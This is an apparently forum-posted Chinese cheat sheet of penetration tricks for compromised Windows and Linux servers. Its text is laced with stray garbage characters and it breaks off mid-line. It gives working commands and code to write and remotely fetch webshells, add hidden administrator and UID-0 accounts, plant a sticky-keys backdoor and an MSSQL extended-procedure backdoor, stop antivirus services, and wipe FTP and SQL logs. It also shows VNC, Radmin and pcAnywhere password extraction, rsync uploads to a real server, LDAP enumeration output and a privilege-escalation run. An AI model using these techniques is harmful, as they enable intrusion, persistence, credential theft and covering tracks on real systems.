渗透技巧总结

admin

旁站路径问题
1、读网站配置。
0 ^  f7 ]- ?5 T! {$ m( l2、用以下VBS
! `# O: K2 }+ [  EOn Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        
8 w( A7 H8 Z% u$ K1 g
Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
" I0 o4 A) t" N5 e
Usage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
3 x% Z% P% I8 g& L% r/ ?( i! JEnd If
# {" h2 D- @; l6 h$ J. }$ oSet ObjService=GetObject

("IIS://LocalHost/W3SVC")
& q: d. H6 Y$ i, BFor Each obj3w In objservice
/ F! r! C1 B( w& @- z2 G3 ^8 t        If IsNumeric(obj3w.Name)

- Z% N2 m7 y( X' A) _# t# M7 q; U! ?Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         

       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
' y9 M' n+ w+ s1 J$ O% ]4 ]* @                If Err
& o8 Z( G; ~! u  _. {
<> 0 Then WScript.Quit (1)
# G8 |5 N5 j9 R                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
& u6 q) g* X$ E& o- G6 {                For Each Binds In OService.ServerBindings
     

                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
. Z/ h2 l; b) Z. R+ v3 D7 i$ o+ G                        
7 q9 Y. V; k- L6 R& t3 o
( x& C' w5 X, U% O% jWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
- p( @8 G; |3 s      
  ~3 ~+ C8 g2 G% c/ F/ q
' Y- ?; F; s* l0 _5 D         WScript.Echo "ath            : " & VDirObj.Path
        End If
; W) V3 l6 U  Q+ D4 ]; \Next
复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
4 W3 V' e# u; P7 U# E# {—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
——————————————————————
phpMyAdmin暴路径办法:
7 Y6 V6 J- Y( ]! }) b% ]' R5 PphpMyAdmin/libraries/select_lang.lib.php
. k9 e/ b; p$ \phpMyAdmin/darkblue_orange/layout.inc.php
' ]5 u* {7 |3 N1 D4 }0 u6 L3 nphpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
% }6 g. d4 _* w# e2 n2 z; ]netsh ras show user #查看哪些用户可以拨入VPN
' \& D) g* c0 Snetsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
9 ~; I' Y4 J6 e- x: H————————————————————
: {3 D+ e7 B! p3 K2 Q& @6 d% f0 w/ Z命令行下添加SQL用户的方法
+ w* ?( N- b" F$ ?2 z. s% e% t. n4 O5 r. v需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
) |4 T+ h. i2 NEXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

* v2 j5 L% q. v* U5 D另类的加用户方法
% b3 A/ d" @6 B0 ]/ q8 R$ r. W在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
' B% ~) H- X. y7 ~. d2 A# G2 \js:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;
/ E) U- }1 B5 y5 v
vbs:
Set   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
% [& ^$ `& U9 B4 ?——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
, ~; d$ X( Z) I( V! {+ Ucacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
) ^: c  S% j* {! j, E5 C8 p# O3389相关
! y' c, K* n0 j. pa、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
; K8 w! t6 }6 Nc、终端服务器超出了最大允许连接
XP 运行mstsc /admin
2003 运行mstsc /console   
8 [9 S: j# v6 B$ Y5 E- ], U3 k
杀软关闭（把杀软所在的文件的所有权限去掉）
; m  q, F! x2 ^; k$ n. [( u处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
& G& N, R' ?2 L& ~3 Wnet stop "Symantec AntiVirus Definition Watcher" /y
; E9 A2 m% K% nnet stop "Symantec Event Manager" /y
6 x$ j$ q. G( K" v  fnet stop "System Event Notification" /y
3 G4 e2 |; u- Y0 `  f! Tnet stop "Symantec Settings Manager" /y
. r" {2 f- x. k4 c; b& @
7 _( O1 j% g4 _8 i9 p$ `卖咖啡：net stop "McAfee McShield"
————————————————————

5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
4 u" R  y: ]( K7 f6 B——————————————————————
& F; G7 u- x# o: Q隐藏账号添加：
$ |9 ~0 D8 P: O" }* \# _1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
' h5 t# M' U6 o, `* t# N2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
MSSQL扩展后门：
0 X. F5 r! [4 M# z" N5 u. D9 i: X. _USE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
———————————————————————
日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
. K  d& B7 A2 l* d5 u% Aex011120.log / ex011121.log / ex011124.log三个文件，
1 T6 k& `+ p6 }1 p# F+ a1 [. [直接删除 ex0111124.log
不成功，“原文件...正在使用”
7 y7 S4 S2 Z4 y3 h当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log

* V0 k- @; b; r% n- [MSSQL查询分析器连接记录清除：
3 Y  o* z2 }6 ]' V  s5 vMSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
- [* P# d* _( s- n* b0 u; W找到接接过的信息删除。
0 }4 ]  i# A. k2 F, Y/ l8 W9 KMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

  A& z0 _1 o% V0 O" eServer\90\Tools\Shell\mru.dat
—————————————————————————
- A0 b9 U* A) h防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
. z5 S$ k0 p' V$ A
<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
9 T' W$ X: c8 D4 H, h! wDim Ads, Retrieval, GetRemoteData
$ t  t* a, w# [$ w# |+ y/ a5 kOn Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
" z  E9 ^, z1 L.Open "Get", s_RemoteFileUrl, False, "", ""
. O* q% x! i- _, e.Send
6 ]! L0 i6 }$ ]- LGetRemoteData = .ResponseBody
6 d' P9 c7 D, V- `* p* FEnd With
Set Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
5 A+ o8 Q# X/ \With Ads
5 O6 q3 c* }: P2 P* V.Type = 1
.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
9 N8 w% r! [$ j: U; v: i1 b.Cancel()
.Close()
' G2 D/ W  W. d" KEnd With
- D" d2 b8 Y5 Z( m% v0 g* I- R5 ]. lSet Ads=nothing
End Sub
8 q1 D/ m, {, ^1 V! G' X) [
; Z; G; a3 G; e1 d! ueWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>
+ X. q3 V* `% g$ O( V: D
; _1 \7 H) r, OVNC提权方法:
1 b. X: a  f# x; S利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
7 i2 `+ x4 d5 S( Vregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
; ]9 d$ E$ x+ z* h3 z+ ]# \HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
* C/ f: \6 W' `( Z0 ]( ~1 W9 r$ U如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
3 g$ N( e& b1 N- s3 f) R保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
: S) X, U( v& {! o( gUsers\Application Data\Symantec\pcAnywhere\文件夹下。
" u2 t* O/ W" @0 p——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
0 o' a+ }& `) ]WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
- A! p: f9 V8 D% z
/ V( ], _2 d7 K  E5 _7 V' t8 Z1433 SA点构建注入点。
<%
, L8 O1 c$ w+ A6 h4 nstrSQLServerName = "服务器ip"
& I! b3 g5 R/ A5 v8 L* _! b8 Y/ MstrSQLDBUserName = "数据库帐号"
" H! q+ T7 H3 z, v; jstrSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

+ X# \; V2 K, Z" y";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

strSQLDBName & ";"
% g+ Z- S2 x* T  \- s# j, ?2 qconn.open strCon
dim rs,strSQL,id
3 e+ P! j# F/ V! F! B; t9 ]: x( Hset rs=server.createobject("ADODB.recordset")
3 U% S* z! H: P2 G; {/ {id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
: k7 ^4 G) ~; \: Qrs.close
%>
# o5 N! `# s# P. l# z复制代码
******liunx 相关******
一.ldap渗透技巧
8 P6 `' Y- w/ \$ B/ Q1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

1 a% q3 k, l! P1 w2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
; W- V' ]$ V+ _3 @2 C; f找到ou,dc,dc设置
! r7 P! G% c8 W. q; \  V" X( c3 R; [" P
3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
( t, Q; d8 n) N  N1 d
9 ?* [& Z) z" d5 i* T# ]"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
) u4 I6 g9 u+ n0 T3 aldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

6 ^5 S9 P* X( u  J$ t" {" {
( x; n$ U" D# Z4 L* u4.查找10条用户记录
4 k/ j' c8 q3 t; H3 u; Ildapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
8 H! d0 K& I6 R; R* }
实战:
1.cat /etc/nsswitch
$ y6 S& V$ G% \6 K看看密码登录策略我们可以看到使用了file ldap模式

1 Q" r- C' s  {7 @; c( ]# F. ]" y2 q: q2.less /etc/ldap.conf
% L1 @# D# }, q2 }! f9 i- Kbase ou=People,dc=unix-center,dc=net
; q0 Q. y: K5 [/ t% W7 _4 Q2 i找到ou,dc,dc设置

. H  _; \6 ^& ]3.查找管理员信息
* R8 Z/ {# n% [' J4 u匿名方式
" V5 D6 k2 o& xldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
) l8 `" m  d& C0 P# O
  g; [- f; l3 p( w9 b2 F"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
( {7 a" D$ J# K9 [ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

+ R/ v. {$ R) k8 _* n"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
3 g9 o) p" k$ q+ v8 \1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
dn: dc=ruc,dc=edu,dc=cn
( f6 S1 l  R; h% x$ d! d7 M- e0 kdc: ruc
, ]& P/ ^) a# z' X* LobjectClass: domain
8 N& x, q; ^+ Y0 C2 D# V
0 R3 w( {4 r, ^! Ddn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
7 Y  S# D3 m/ F% ]  J' }! r; gobjectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
( m, @/ ?' p6 @; ]+ ^5 J2 C7 SobjectClass: top
sn: manager
cn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
* \* d: X; J3 b$ A1 Z: }1 b' r& A; ^uid: superadmin
! i8 h6 W/ C( _8 UobjectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
$ R8 j6 ^9 m5 x& c# h3 o( s8 Vsn: superadmin
cn: superadmin
" S: ?6 k0 f( n0 h+ E
6 y  ?1 e  H1 V7 jdn: uid=admin,dc=ruc,dc=edu,dc=cn
( p+ o5 Y, V6 c8 ~uid: admin
objectClass: inetOrgPerson
objectClass: organizationalPerson
& b, r8 O* w& @! J3 S% a1 H6 @6 hobjectClass: person
objectClass: top
/ l: l6 l% y( u8 n" h8 g% vsn: admin
cn: admin
  U: x4 V, A1 S% O
dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
objectClass: person
7 w' c0 F0 s  D7 m6 ^4 W1 k5 ]objectClass: organizationalPerson
objectClass: inetOrgPerson
sn: dcp_anonymous
" o' g* T% l( Kcn: dcp_anonymous

4 ?) }7 \" U, G5 Z2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

5 F: K( u+ z3 N/ K  Zmore
4 N; k8 ]1 f9 H% S' j2 ]+ K9 i4 r, cversion: 1
dn: dc=ruc,dc=edu,dc=cn
% p( V3 t1 f; I; j3 G6 Mdc: ruc
% B* c8 z; K) Q! M0 ^objectClass: domain
3 W2 j$ v' ?! J  t: l$ c3 ~
! g" m. t: v8 n3.查找
2 C, W/ D+ ^* {! ?/ Q% Ubash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
: V1 z9 K' f7 E; Idn:
& S  D6 p5 h+ D  m- AobjectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
) K' N7 ^( t! h  j3 T8 @6 NsupportedExtension: 2.16.840.1.113730.3.5.7
1 q5 \  @/ {& R* @supportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
/ J+ V+ G  E# Z+ osupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
4 v! f+ v- ~0 Q' ^supportedExtension: 2.16.840.1.113730.3.5.3
5 Y9 @+ G7 ~  d: L& z3 bsupportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
* h, }$ r' y% t( Z8 Q7 \# \$ G5 G, msupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
9 k0 n1 j* O" u) E! C4 KsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
) k% d2 T$ u0 j. Y1 H8 F- zsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
5 }. d$ v" c8 p6 L- ]supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
/ [  y6 \+ f, ~! i! {, E! K' \supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
( S! \9 c; y1 O, O6 t- t# ?: b% jsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
8 e* M( G; w& W! v0 esupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
2 J  T3 i+ @  p- PsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
$ e: z" o& i$ G% {supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
1 U2 Z! b) O* `& UsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
, T, x1 Q" p# I3 z5 TsupportedExtension: 1.3.6.1.4.1.1466.20037
+ k( {  x/ u$ ?, v4 N  jsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
& B. R1 J  W. g- D7 SsupportedControl: 2.16.840.1.113730.3.4.2
' l: ~. u# g: |" V" ]/ dsupportedControl: 2.16.840.1.113730.3.4.3
3 D8 S6 j$ _) ~9 x+ zsupportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
, d0 ~+ b( ~- t$ PsupportedControl: 2.16.840.1.113730.3.4.9
3 y9 ~. y: ^5 A# `- F, A; j) g" HsupportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
+ ~! D. v- G6 v" f, F& j/ i3 h& WsupportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
7 X2 _/ z, Q& b# Z  W9 f4 ZsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
; {; F2 H& S7 {' f! D% D7 M# z7 EsupportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
4 G& R) \) h4 ~; isupportedSASLMechanisms: EXTERNAL
; u! J5 Q1 m3 wsupportedSASLMechanisms: DIGEST-MD5
- h) V3 i& u& s' H$ B/ X1 ksupportedLDAPVersion: 2
* \* N: _; \. ^0 _, ksupportedLDAPVersion: 3
/ n9 k# c2 D. F1 ]! _( vvendorName: Sun Microsystems, Inc.
1 F3 \4 f5 W' svendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
& ~! A  }% w4 F# M. y+ _" }- [1 M4 dnetscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
. ^% ^/ ?' j  `; |- H% @9 T7 DsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
! c1 n' V  C* K1 M1 t" z3 z; asupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
9 Q& i+ h* P$ o, NsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
' B0 W0 O$ d8 N6 m3 D% `supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
0 S/ g4 P/ Q9 N8 JsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
7 k0 j+ q+ p6 i# n1 B9 O9 {supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
3 l# c3 T( T! Y* Q/ n  isupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
2 i3 P. `0 _7 U, A5 ^+ OsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
* P7 ?3 [' Q$ o' w/ O! g. j5 MsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
6 F) m5 a. H7 R  b8 y+ xsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
' _( J: p& n" E  ?; C8 NsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
8 g: a( G) P8 d- k5 u8 ksupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
$ z4 r7 w2 c* l" [/ k7 RsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
9 ?% c9 z1 x5 ksupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
1 b( `" S7 g" K; RsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
: P" L; y: T% L0 k- qsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
# D: G8 r( g# g9 GsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
' g! I4 u; e3 m# r/ i9 {5 \supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
1 C& _7 u2 o4 p' p- [4 ^2 O7 U) HsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
, n( z* y! r' y% C2 NsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
. {3 z( S' c! D7 B. Q  {supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
1 v" K/ e9 r% A+ Y; Z4 xsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
+ d% Y) I" O! h6 V, I7 JsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
7 v$ _) \( }' z; k* o; k) q& d; M& gsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
- N  \" ~7 e$ W1 N) g3 WsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
& l9 I' `& O, `0 x' P4 ?6 L% IsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
6 ]8 J" z: B; Q3 K  X! WsupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
+ c6 F* B# x* m) g4 i/ h  e* CsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
: m( e* w' U; }% I7 O————————————
2. NFS渗透技巧
showmount -e ip
2 P1 r" ^3 e2 B8 d' K列举IP
——————
3.rsync渗透技巧
1.查看rsync服务器上的列表
! u- d4 }7 n. M% t$ s1 B$ vrsync 210.51.X.X::
finance
img_finance
auto
  O3 l$ Z6 }5 P4 Bimg_auto
html_cms
img_cms
ent_cms
ent_img
ceshi
res_img
% |6 x( E* y6 c7 w( g2 }res_img_c2
- G) u- R. W3 i& Z% e7 {chip
chip_c2
0 E3 X: m) W9 L  i) y# l  H0 o+ nent_icms
games
gamesimg
4 C. N# r9 n9 S  W( Bmedia
mediaimg
fashion
res-fashion
. F+ p  `$ f+ g( `; B% ores-fo
taobao-home
8 w0 n' W. Q: \res-taobao-home
/ E. F2 k% w" ]house
# T, c- Z! d/ s# Ures-house
7 @5 w/ V8 n% ]" Q- b& Qres-home
res-edu
res-ent
res-labs
7 I3 [$ ?# r! c: k) Qres-news
res-phtv
5 M5 C2 h5 D& ^* j; G7 j6 w  Y4 o) Kres-media
2 C8 l1 B. u/ d% phome
edu
) J% V" {- m; M+ y" n; \) E; Gnews
res-book

看相应的下级目录(注意一定要在目录后面添加上/)
: i- v* N( p% j2 d) M9 @% K. s

' Z4 I' ^; B) f7 I) Rrsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
5 h' V4 q, a1 ^0 |( o" ~9 Arsync 210.51.X.X::edu/

2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt
* F9 l) p3 h' m
+ g/ P7 N$ \0 ]0 a- p四.squid渗透技巧
( I$ F- t& i+ ?$ e1 c/ ^0 Nnc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
0 ]$ T9 q% s* @6 y1 C五.SSH端口转发
7 C8 u: \" [- l4 r* G( j% a/ j$ Essh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

4 A6 A# \# \: U) x( y  d六.joomla渗透小技巧
# e* U+ G: p' O* }* q, L( |4 b确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

15&catid=32:languages&Itemid=47

5 F" {! Q9 s  s( }, h* b& v" x+ F重新设置密码
index.php?option=com_user&view=reset&layout=confirm

七: Linux添加UID为0的root用户
useradd -o -u 0 nothack
) x  n; O; n' b' [
2 x* H0 a  V1 Z% R' c; s八.freebsd本地提权
[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
6 v5 y. w1 d# I# }* vfs.usermount: 1
& A' Q3 U$ S* i0 \8 Q1 ]3 _* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
" s! W6 \; U# ^0 u2 o2 F* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
, w9 _+ r5 `- ^* [argp@julius ~]$ ./nfs_mount_ex
*
calling nmount()

（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
, l8 F& F* l3 D& E8 U——————————————
8 |" }* ^7 m9 a. e0 `感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
1 T9 }, O3 K' e2 C————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
# e+ a% w! B* H: E( S2 palzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
注：
